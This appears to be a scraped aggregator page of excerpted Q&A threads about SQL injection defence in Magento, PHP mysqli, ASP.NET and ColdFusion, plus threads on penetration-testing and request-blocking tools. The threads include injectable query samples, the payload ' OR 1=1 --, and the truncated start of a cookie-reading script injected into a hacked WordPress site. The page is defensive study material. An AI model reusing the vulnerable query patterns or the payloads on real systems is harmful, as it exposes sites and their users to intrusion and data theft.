阅读更多关于 Using Magento Methods to write Insert Queries with care for SQL Injection

I am using the Magento's functionality to insert & update queries. My requirement is that I want to take care of SQL Injection, when doing these types of queries. But I'm unable to find how Magento does this. I'm providing one start sample. Please provide me with one complete example. <?php $write = Mage::getSingleton("core/resource")->getConnection("core_write"); $sql = "INSERT INTO Mage_Example (Name, Email, Company, Description, Status, Date) VALUES ('$name', '$email', '$company', '$desc', '0', NOW())"; ?> Now I want to change the above query to prevent the possible SQL Injection. I don't

Does mysqli class in PHP protect 100% against sql injections?

阅读更多关于 Does mysqli class in PHP protect 100% against sql injections?

问题 I've seen lots of articles and questions about mysqli, and all of them claim that it protects against sql injections. But is it fool proof, or is there still some way to get around it. I'm not interested in cross site scripting or phishing attacks, only sql injections. What I should have said to begin with is that I am using prepared statements. That is what I meant with mysqli. If I use prepared statements without any string concatenation, then is it foolproof? 回答1: But is it fool proof, or

Does asp.net protect against sql injection attacks

阅读更多关于 Does asp.net protect against sql injection attacks

问题 By default does ASP.net protect against SQL injection attacks when using ASP controls? 回答1: No. As long as you're supplying the SQL, it's up to you to be smart in how you use the controls. That usually means sanitizing input and using Parameterized Queries or Stored Procedures over dynamic SQL strings. If the control is generating the queries for you (like the Membership Controls, etc.) then you're well protected. 回答2: Yes and no. ADO.NET has very good support for parameterization, and when

Penetration testing tools [closed]

阅读更多关于 Penetration testing tools [closed]

We have hundreds of websites which were developed in asp, .net and java and we are paying lot of money for an external agency to do a penetration testing for our sites to check for security loopholes. Are there any (good) software (paid or free) to do this? or.. are there any technical articles which can help me develop this tool? There are a couple different directions you can go with automated testing tools for web applications. First, there are the commercial web scanners , of which HP WebInspect and Rational AppScan are the two most popular. These are "all-in-one", "fire-and-forget" tools

Catching SQL Injection and other Malicious Web Requests

阅读更多关于 Catching SQL Injection and other Malicious Web Requests

问题 I am looking for a tool that can detect malicious requests (such as obvious SQL injection gets or posts) and will immediately ban the IP address of the requester/add to a blacklist. I am aware that in an ideal world our code should be able to handle such requests and treat them accordingly, but there is a lot of value in such a tool even when the site is safe from these kinds of attacks, as it can lead to saving bandwidth, preventing bloat of analytics, etc. Ideally, I'm looking for a cross

ColdFusion Query - Injection Protection

阅读更多关于 ColdFusion Query - Injection Protection

I ask this question with a bit of sheepishness because I should know the answer. Could someone be kind and explain if and how injection could occur in the following code? <cfquery> select * from tableName where fieldName = '#value#' </cfquery> I'm specifically curious about injection attempts and other malicious input, not about best practices or input validation for handling "normal" user input. I see folks strongly advocating use of CFQueryParam, but don't think I see the point. If user input has been validated for consistency to the database schema (e.g. so that input must be numeric for

问题 I had a plugin that made my Wordpress site vulnerable to SQL injection attack. I've since locked down my site and removed all Wordpress files then reinstalled Wordpress. The plugin has also since been removed. Unfortunately I now have all 2503 posts with the following example script installed:  <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U

Successful SQL Injection despite PHP Magic Quotes

阅读更多关于 Successful SQL Injection despite PHP Magic Quotes

I have always read that Magic Quotes do not stop SQL Injections at all but I am not able to understand why not! As an example, let's say we have the following query: SELECT * FROM tablename WHERE email='$x'; Now, if the user input makes $x=' OR 1=1 -- , the query would be: SELECT * FROM tablename WHERE email='\' OR 1=1 --'; The backslash will be added by Magic Quotes with no damage done whatsoever! Is there a way that I am not seeing where the user can bypass the Magic Quote insertions here? The trick is usually to pass a binary value so that the backslash would become a part of valid
